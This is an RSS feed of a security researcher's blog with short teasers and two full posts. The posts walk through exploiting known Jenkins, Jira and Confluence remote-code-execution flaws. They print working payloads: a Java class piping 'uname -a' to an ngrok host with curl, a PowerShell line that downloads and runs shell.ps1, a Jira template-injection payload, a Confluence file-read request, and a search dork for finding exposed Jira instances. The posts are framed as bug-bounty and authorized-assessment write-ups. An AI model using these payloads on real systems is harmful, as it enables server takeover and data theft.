<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Valeriy Shevchenko on Medium]]></title>
        <description><![CDATA[Stories by Valeriy Shevchenko on Medium]]></description>
        <link>https://medium.com/@krevetk0?source=rss-7c9f24abc603------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*3PkTOohmuWs_WRY7yuqNWQ.jpeg</url>
            <title>Stories by Valeriy Shevchenko on Medium</title>
            <link>https://medium.com/@krevetk0?source=rss-7c9f24abc603------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 14 Nov 2026 16:10:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@krevetk0/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[“Mercury Rising”: How German Journalists Exposed a Live NATO Locked Shields System]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://krevetk0.medium.com/mercury-rising-how-german-journalists-exposed-a-live-nato-locked-shields-system-35b98d570b9a?source=rss-7c9f24abc603------2"><img src="https://cdn-images-1.medium.com/max/600/0*j-mrzenKDDGju0LM.jpg" width="600"></a></p><p class="medium-feed-snippet">I think many of you have seen the 1998 thriller &quot;Mercury Rising&quot;. The plot revolves around a young autistic boy who cracks a secret code&#x2026;</p><p class="medium-feed-link"><a href="https://krevetk0.medium.com/mercury-rising-how-german-journalists-exposed-a-live-nato-locked-shields-system-35b98d570b9a?source=rss-7c9f24abc603------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://krevetk0.medium.com/mercury-rising-how-german-journalists-exposed-a-live-nato-locked-shields-system-35b98d570b9a?source=rss-7c9f24abc603------2</link>
            <guid isPermaLink="false">https://medium.com/p/35b98d570b9a</guid>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Valeriy Shevchenko]]></dc:creator>
            <pubDate>Tue, 30 Jun 2026 08:39:41 GMT</pubDate>
            <atom:updated>2026-06-30T08:39:41.977Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Hacking Hackers for fun and profit]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://krevetk0.medium.com/hacking-hackers-for-fun-and-profit-784e6c7897e8?source=rss-7c9f24abc603------2"><img src="https://cdn-images-1.medium.com/max/1024/1*cc5TeaLR6KaqMSJ0GHGAmA.png" width="1024"></a></p><p class="medium-feed-snippet">This story will be in several parts. In each of the situations, I had to face unexpected results.</p><p class="medium-feed-link"><a href="https://krevetk0.medium.com/hacking-hackers-for-fun-and-profit-784e6c7897e8?source=rss-7c9f24abc603------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://krevetk0.medium.com/hacking-hackers-for-fun-and-profit-784e6c7897e8?source=rss-7c9f24abc603------2</link>
            <guid isPermaLink="false">https://medium.com/p/784e6c7897e8</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[Valeriy Shevchenko]]></dc:creator>
            <pubDate>Mon, 09 Jan 2023 13:27:14 GMT</pubDate>
            <atom:updated>2023-01-09T13:27:14.209Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[How I accidentally hacked many companies using N/A vulnerability in Atlassian Cloud]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://krevetk0.medium.com/how-i-accidentally-hacked-many-companies-using-n-a-vulnerability-in-atlassian-cloud-d4ff8e7dbef1?source=rss-7c9f24abc603------2"><img src="https://cdn-images-1.medium.com/max/2360/1*l957CXxSPVmUzOhO5djlww.png" width="2360"></a></p><p class="medium-feed-snippet">Below you will learn in detail about the discovered vulnerability that allowed me to get about 15000$ in bounty with all secrets from the&#x2026;</p><p class="medium-feed-link"><a href="https://krevetk0.medium.com/how-i-accidentally-hacked-many-companies-using-n-a-vulnerability-in-atlassian-cloud-d4ff8e7dbef1?source=rss-7c9f24abc603------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://krevetk0.medium.com/how-i-accidentally-hacked-many-companies-using-n-a-vulnerability-in-atlassian-cloud-d4ff8e7dbef1?source=rss-7c9f24abc603------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4ff8e7dbef1</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacker]]></category>
            <dc:creator><![CDATA[Valeriy Shevchenko]]></dc:creator>
            <pubDate>Fri, 19 Nov 2021 08:02:47 GMT</pubDate>
            <atom:updated>2021-11-19T08:02:47.197Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Credential stuffing in Bug bounty hunting]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://krevetk0.medium.com/credential-stuffing-in-bug-bounty-hunting-7168dc1d3153?source=rss-7c9f24abc603------2"><img src="https://cdn-images-1.medium.com/max/957/1*ODBRfZ6QZFvqSLXU5GhxIQ.png" width="957"></a></p><p class="medium-feed-snippet">Bug hunting is not always about looking for classic vulnerabilities (XSS, SQLi, SSRF, RCE, etc).</p><p class="medium-feed-link"><a href="https://krevetk0.medium.com/credential-stuffing-in-bug-bounty-hunting-7168dc1d3153?source=rss-7c9f24abc603------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://krevetk0.medium.com/credential-stuffing-in-bug-bounty-hunting-7168dc1d3153?source=rss-7c9f24abc603------2</link>
            <guid isPermaLink="false">https://medium.com/p/7168dc1d3153</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[credential-stuffing]]></category>
            <category><![CDATA[testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Valeriy Shevchenko]]></dc:creator>
            <pubDate>Tue, 13 Jul 2021 18:52:54 GMT</pubDate>
            <atom:updated>2021-07-13T19:05:11.486Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[$10,000 for a vulnerability that doesn’t exist]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://krevetk0.medium.com/10-000-for-a-vulnerability-that-doesnt-exist-9dbc63684e94?source=rss-7c9f24abc603------2"><img src="https://cdn-images-1.medium.com/max/600/1*ij9dQeTHehafvfRlq99UrA.jpeg" width="600"></a></p><p class="medium-feed-snippet">A couple of months ago, an interesting story happened to me. I caught a Path Traversal issue with no chance to reproduce it again.</p><p class="medium-feed-link"><a href="https://krevetk0.medium.com/10-000-for-a-vulnerability-that-doesnt-exist-9dbc63684e94?source=rss-7c9f24abc603------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://krevetk0.medium.com/10-000-for-a-vulnerability-that-doesnt-exist-9dbc63684e94?source=rss-7c9f24abc603------2</link>
            <guid isPermaLink="false">https://medium.com/p/9dbc63684e94</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Valeriy Shevchenko]]></dc:creator>
            <pubDate>Thu, 07 Jan 2021 09:33:09 GMT</pubDate>
            <atom:updated>2021-01-07T09:33:09.463Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[From CRLF to Account Takeover]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://krevetk0.medium.com/from-crlf-to-account-takeover-a94d7aa0d74e?source=rss-7c9f24abc603------2"><img src="https://cdn-images-1.medium.com/max/874/1*WEH3PSiYeq6k8noviNEkTA.jpeg" width="874"></a></p><p class="medium-feed-snippet">At the beginning of March,while researching one site I discovered the new functionality. The functionality allowed the user to login via&#x2026;</p><p class="medium-feed-link"><a href="https://krevetk0.medium.com/from-crlf-to-account-takeover-a94d7aa0d74e?source=rss-7c9f24abc603------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://krevetk0.medium.com/from-crlf-to-account-takeover-a94d7aa0d74e?source=rss-7c9f24abc603------2</link>
            <guid isPermaLink="false">https://medium.com/p/a94d7aa0d74e</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Valeriy Shevchenko]]></dc:creator>
            <pubDate>Wed, 03 Jun 2020 13:17:09 GMT</pubDate>
            <atom:updated>2020-06-03T13:17:09.146Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Broke limited scope with a chain of bugs]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://infosecwriteups.com/broke-limited-scope-with-a-chain-of-bugs-ef734ac430f5?source=rss-7c9f24abc603------2"><img src="https://cdn-images-1.medium.com/max/600/1*_rFsG6NMpyXMvOWmDLu4vg.jpeg" width="600"></a></p><p class="medium-feed-snippet">One morning, I was asked to participate in a private bug bounty program. In general, my experience in security is based on such private&#x2026;</p><p class="medium-feed-link"><a href="https://infosecwriteups.com/broke-limited-scope-with-a-chain-of-bugs-ef734ac430f5?source=rss-7c9f24abc603------2">Continue reading on InfoSec Write-ups »</a></p></div>]]></description>
            <link>https://infosecwriteups.com/broke-limited-scope-with-a-chain-of-bugs-ef734ac430f5?source=rss-7c9f24abc603------2</link>
            <guid isPermaLink="false">https://medium.com/p/ef734ac430f5</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[testing]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Valeriy Shevchenko]]></dc:creator>
            <pubDate>Mon, 09 Mar 2020 10:00:23 GMT</pubDate>
            <atom:updated>2020-03-10T07:47:29.717Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Critical vulnerabilities in Pulse Secure and Fortinet SSL VPNs in the Wild Internet]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://krevetk0.medium.com/critical-vulnerabilities-in-pulse-secure-and-fortinet-ssl-vpns-in-the-wild-internet-3991ea9e6481?source=rss-7c9f24abc603------2"><img src="https://cdn-images-1.medium.com/max/1251/1*mOgK1tiQJIeggeV7ubY0HA.jpeg" width="1251"></a></p><p class="medium-feed-snippet">Infiltrating Corporate Intranet like Banks, Governments, Airports became possible with vulnerable SSL VPN clients.</p><p class="medium-feed-link"><a href="https://krevetk0.medium.com/critical-vulnerabilities-in-pulse-secure-and-fortinet-ssl-vpns-in-the-wild-internet-3991ea9e6481?source=rss-7c9f24abc603------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://krevetk0.medium.com/critical-vulnerabilities-in-pulse-secure-and-fortinet-ssl-vpns-in-the-wild-internet-3991ea9e6481?source=rss-7c9f24abc603------2</link>
            <guid isPermaLink="false">https://medium.com/p/3991ea9e6481</guid>
            <category><![CDATA[vpn]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[fortinet]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pulse]]></category>
            <dc:creator><![CDATA[Valeriy Shevchenko]]></dc:creator>
            <pubDate>Mon, 02 Sep 2019 06:26:01 GMT</pubDate>
            <atom:updated>2019-09-02T06:26:01.050Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Jenkins RCE PoC or simple pre-auth remote code execution on the Server.]]></title>
            <link>https://krevetk0.medium.com/jenkins-rce-poc-or-simple-pre-auth-remote-code-execution-on-the-server-d18b868a77cb?source=rss-7c9f24abc603------2</link>
            <guid isPermaLink="false">https://medium.com/p/d18b868a77cb</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[jenkins]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Valeriy Shevchenko]]></dc:creator>
            <pubDate>Mon, 19 Aug 2019 06:58:04 GMT</pubDate>
            <atom:updated>2019-08-19T08:29:20.154Z</atom:updated>
            <content:encoded><![CDATA[<p>Once upon a time, a friend of mine asked me a question — &quot;Do you know any fresh RCE for the Jenkins environment ?&quot;. I was informed already about some old RCE PoC&#39;s but that was not what we need at that time. It was a fresh Jenkins environment. With a quick search, I realized that it was discovered fresh vulnerability <a href="https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266">CVE-2019–1003000</a>. Big thanks <a href="https://twitter.com/orange_8361">Orangetsai Tsai</a> for such clear and interesting research from his blog. So I tried to understand his research with trying to make the right POC on our target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u4K_wlQLR0PCt7x37zYZaQ.jpeg" /></figure><p>I can&#39;t disclose the name of the target. RCE vulnerability was exploitable and here I can share how it was from my perspective. The root of the problem was in Pipeline feature, which makes writing scripts for software building, testing and delivering easier in Jenkins. The researcher found exploit chain utilizing CVE-2018–1000861 and CVE-2019–1003000 which bypass the need of Overall/Read permission for a pre-auth RCE. I will not share a deep understanding of that issue. If you really want this — just go to the <a href="https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html">Orange blog post.</a> It&#39;s really interesting to understand and learn!</p><p>So, First I did a quick check to verify that issue still there. For such a thing, all you need to do is just going to:</p><pre>http://example.com/jenkins/securityRealm/user/admin/</pre><p>In response we should see &quot;200 ok&quot; with something like this:</p><pre>Jenkins User Id: admin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p4_MTpnrZHbKYYwHnY7rkA.png" /></figure><p>So it means that we could be ready for making normal PoC on that environment. If you are lazy to reproduce all steps — just have fun with such a <a href="https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc">repository</a>. But I did all the steps manually.</p><ol><li>Saved that code as <strong>Orange.java</strong>:</li></ol><pre>public class Orange {<br>    public Orange(){<br>        try {<br>            String payload = &quot;uname -a | curl -d @- http://myservertunnel.ngrok.io/&quot;;<br>            String[] cmds = {&quot;/bin/bash&quot;, &quot;-c&quot;, payload};<br>            java.lang.Runtime.getRuntime().exec(cmds);<br>        } catch (Exception e) { }<br>    }<br>}</pre><p>As you see as proof of concept for executing something on the server I chose that:</p><pre>uname -a | curl -d @- http://myservertunnel.ngrok.io/</pre><p>2. Next, you need to compile the java*:</p><pre>javac -target 1.8 Orange.java</pre><p>I did “-target 1.8” because it was an issue with java classes on my Jenkins server. It’s always returned to me an error:</p><p><em>“exploit” has been compiled by a more recent version of the Java Runtime (class file version 54.0), this version of the Java Runtime only recognizes class file versions up to 52.0</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*55Jm4SHz9Y6TvunBCwUwNg.png" /></figure><p>Seems that when I tried to attack with compiled payload — it’s always failed with java 10 where it was expected to have java 8. Flag “<strong><em>-target 1.8</em></strong>” resolved that issue.</p><p>3. Execute — <strong>mkdir -p META-INF/services/</strong></p><p>4. Execute — <strong>echo Orange &gt; META-INF/services/org.codehaus.groovy.plugins.Runners</strong></p><p>5. With executing that command &quot;<strong>find .&quot; </strong>you should see that structure:</p><pre>./Orange.java<br>./Orange.class<br>./META-INF<br>./META-INF/services<br>./META-INF/services/org.codehaus.groovy.plugins.Runners</pre><p>6. Execute — <strong>jar cvf poc-1.jar ./Orange.class ./META-INF/</strong></p><p>That&#39;s how you bundle all things into a jar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*yzgTyn0t7lbGIxDcQOQVJg.png" /><figcaption>Just screenshot of all required steps to make your POC (without -target 1.8)</figcaption></figure><p>7. Make such folders <strong>/tw/orange/poc/1/ </strong>and put your compiled <strong>poc-1.jar</strong> to <strong>/tw/orange/poc/1/</strong></p><p>8. After all, I ran local PHP server with command &quot;<strong>php -S localhost:8080</strong>&quot; and made it public with ngrok tunnel.</p><p>9. The final step was to make such GET request on my target:</p><pre>http://example.com/jenkins/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)<br>@GrabResolver(name=&#39;orange.tw&#39;, root=&#39;http://myservertunnel.ngrok.io/&#39;)<br>@Grab(group=&#39;tw.orange&#39;, module=&#39;poc&#39;, version=&#39;1&#39;)<br>import Orange;</pre><p>and in the response, you will see that:</p><pre>{<br>  &quot;column&quot;: 0,<br>  &quot;line&quot;: 0,<br>  &quot;message&quot;: &quot;&quot;,<br>  &quot;status&quot;: &quot;success&quot;<br>}</pre><p>A few seconds later I detected incoming request with executed command in the request body from the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*whDZLVOoNZex-TfEDUnRow.png" /></figure><p>Command was executed successfully and we have valid RCE. The vulnerability report was made. The experience was reached :)</p><p>If you have a problem with executing commands on Windows environment — you can Invoke a <a href="https://github.com/samratashok/nishang">Nishang</a> powershell in Orange.java file:</p><pre>public class Orange {<br>    public Orange(){<br>        try {<br>            String payload = &quot;powershell iex(new-object net.webclient).downloadstring(&#39;http://yourserver.com/shell.ps1&#39;)&quot;;<br>            String[] cmds = {&quot;cmd&quot;, &quot;/c&quot;, payload};<br>            java.lang.Runtime.getRuntime().exec(cmds);<br>        } catch (Exception e) { }<br>    }<br>}</pre><p>PS: Click 👏 “Clapping Hands” icon if you like this article 😉</p><p><strong>If you need to auditing, collaboration and testing some projects, please get in touch with me: </strong><a href="http://t.me/valyaroller">http://t.me/valyaroller</a><strong>. I like to be helpful and have valuable findings.</strong></p><h3>References</h3><ul><li><a href="https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html">Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!</a></li><li><a href="https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html">Playing with Jenkins RCE Vulnerability</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d18b868a77cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Two Easy RCE in Atlassian Products]]></title>
            <link>https://krevetk0.medium.com/two-easy-rce-in-atlassian-products-e8480eacdc7f?source=rss-7c9f24abc603------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8480eacdc7f</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[jira]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Valeriy Shevchenko]]></dc:creator>
            <pubDate>Fri, 09 Aug 2019 11:13:34 GMT</pubDate>
            <atom:updated>2019-08-09T11:13:34.831Z</atom:updated>
            <content:encoded><![CDATA[<p>It was a long time from my last article. It was so many interesting results in my work. Seems that it&#39;s right time to share my knowledge and experience with you. But first, I wanna inform that two issues in that article well known. And both of that have CVE numbers with patches and software updates. So maybe you will be lucky to find old versions in your testing scope.</p><p>And I don&#39;t want to make hype on that article as <a href="https://medium.com/u/ec4dca79620b">Avinash Jain</a> with old Jira vulnerability in <a href="https://jira.atlassian.com/browse/JRASERVER-23255">Shared filters</a>. From my perspective, it&#39;s a shame to make such hype around a bug with a questionable impact which was known for a long time ago.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GZaku7-pJcqCfFzpLw7yyg.jpeg" /></figure><h4>1. Jira Remote Code Execution in Contact Administrators form (<a href="https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html">CVE-2019–11581</a>)</h4><p>When it was discovered, I found first that video from <a href="https://medium.com/u/f1efd6b74751">Knownsec 404 team</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FL6xX4Kcn0sk%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DL6xX4Kcn0sk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FL6xX4Kcn0sk%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/15fc4d1da122be1809604e487a0796ee/href">https://medium.com/media/15fc4d1da122be1809604e487a0796ee/href</a></iframe><p>But from that time it was no POC for exploitation.</p><p>But next, I found nice <a href="https://medium.com/@ruvlol/rce-in-jira-cve-2019-11581-901b845f0f">research</a> from <a href="https://medium.com/u/1adae6b78e4b">ruvlol</a> where he discovered pretty well that the root of the problem in <strong><em>ContactAdministrators!default.jspa</em></strong><em> </em>form. Also from his article, it was simple to understand that <a href="https://medium.com/u/f1efd6b74751">Knownsec 404 team</a> was mistaken in numbers of affected instances. To find all public instances with such functionality you just need to search for :</p><pre>inurl:secure/ContactAdministrators!default.jspa</pre><p>So the exploitation process is very simple.</p><ol><li>Check from the dashboard page that your Jira instance supports Contact Administrator form.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d32i3w4VOjsrgv0UPKTR5g.png" /></figure><p>2. Next, it&#39;s better to check the accessibility of that page from URL like:</p><pre>https://jira.example.com/secure/ContactAdministrators!default.jspa</pre><p>3. Prepare your BurpCollaborator or your server for getting request as POC. I used ngrok tunnel. And fill in the contact form with that payload.</p><pre>$i18n.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’,null).invoke(null,null).exec(‘curl http://your-testing-server.com/rcetest?a=a&#39;).waitFor()</pre><p>That payload making just simple curl request to your server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eAufrGwGe-FEDwq51YpulA.png" /></figure><p>4. Confirm your results with getting a request from Vulnerable Jira environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrhZfzbdZRbAHPTGf2VPpw.png" /></figure><p>For this issue to be exploitable at least one of the following conditions must be met:</p><ul><li>an SMTP server has been configured in Jira and the Contact Administrators Form is enabled; or</li><li>an SMTP server has been configured in Jira and an attacker has “JIRA Administrators” access.</li></ul><p>So now you know how to make such easy RCE attack in vulnerable Jira environment if your version is still vulnerable. You can check affected versions <a href="https://vulners.com/atlassian/ATLASSIAN:JRASERVER-69532?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=rss">here</a>.</p><h4>2. Confluence Remote Code Execution via Widget Connector macro (<a href="https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html">CVE-2019–3396</a>)</h4><p>That fresh vulnerability came to me with one target where I did a security assessment. And it was some signs that my testing target could be vulnerable due RCE via Widget Connector. With such type of vulnerabilities, it&#39;s hard to make good POC. Because of the complexity of that issue. I spent a few time to understand the root of the problem from <a href="https://medium.com/u/f1efd6b74751">Knownsec 404 team</a> in <a href="https://paper.seebug.org/886/">their article</a>. And I can say that it&#39;s so exciting to understand such research articles and see some results on your environment.</p><p>So I reproduced all steps on company Confluence. It was a valid issue and the entire server was shut down as vulnerable for mitigation work.</p><p>Here is my POC:</p><ol><li>So first it’s an issue with Widget Connector. Which can lead to RCE on the server. Better to <a href="https://vulners.com/cve/CVE-2019-3396">check first is your version</a> still vulnerable due to that issue. If yes. Go next.</li></ol><p>Just find a Youtube video to insert, click Preview, use Burpsuite to capture the package.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*upI1gwKgky7e1HU4i_eCmg.png" /></figure><p>2. Try to make such POST request with malicious payload in <strong><em>_template</em> </strong>parameter. Also if you don’t have access to your confluence — just try to craft your request from my mock in that article. And don&#39;t forget to renew Cookie header.</p><pre>POST /rest/tinymce/1/macro/preview HTTP/1.1</pre><pre>Referer: https://confluence.yourtarget.com/</pre><pre>Content-Type: application/json; charset=utf-8</pre><pre>Cookie: BIGipServerrb-p_cp-confluence_https_pool=!BUsntvn1os/4xuQWbHAsuN+1fsz22TIKPNFouw==;JSESSIONID=E3A43CEFE1932634CD80E301057C379D</pre><pre>Accept: */*</pre><pre>Accept-Encoding: gzip,deflate</pre><pre>Content-Length: 173</pre><pre>Host: confluence.yourtarget.com</pre><pre>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36</pre><pre>Connection: Keep-alive<br></pre><pre>{&quot;contentId&quot;:&quot;123&quot;,&quot;macro&quot;:{&quot;name&quot;:&quot;widget&quot;,&quot;body&quot;:&quot;&quot;,&quot;params&quot;:{&quot;url&quot;:&quot;<a href="https://www.youtube.com/watch?v=1">https://www.youtube.com/watch?v=1</a>&quot;,&quot;width&quot;:&quot;200&quot;,&quot;height&quot;:&quot;200&quot;,&quot;_template&quot;:&quot;/WEB-INF/web.xml&quot;}}}</pre><p>As you see I was requested for <strong><em>/WEB-INF/web.xml</em></strong>.<strong><em> </em></strong>When I was confirmed with the Windows environment on the other side. I was requested for <strong><em>file:///C:/Windows/</em></strong> directory. And in an embedded object, I found a list of all data inside from the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h_J7XGH96OVsXmOHRzSqpg.png" /></figure><p>And the final step will be to execute the command. But at this point, it was enough to show valid POC for the company where I did a security assessment.</p><p>As you see both Atlassian RCE is pretty simple to exploit. And all you need now is to have the &quot;right&quot; vulnerable version of the Atlassian products ;)</p><p>PS: Click 👏 “Clapping Hands” icon if you like this article 😉</p><p><strong>If you need to auditing, collaboration and testing some projects, please get in touch with me: </strong><a href="http://t.me/valyaroller">http://t.me/valyaroller</a><strong>. I like to be helpful and have valuable findings.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8480eacdc7f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>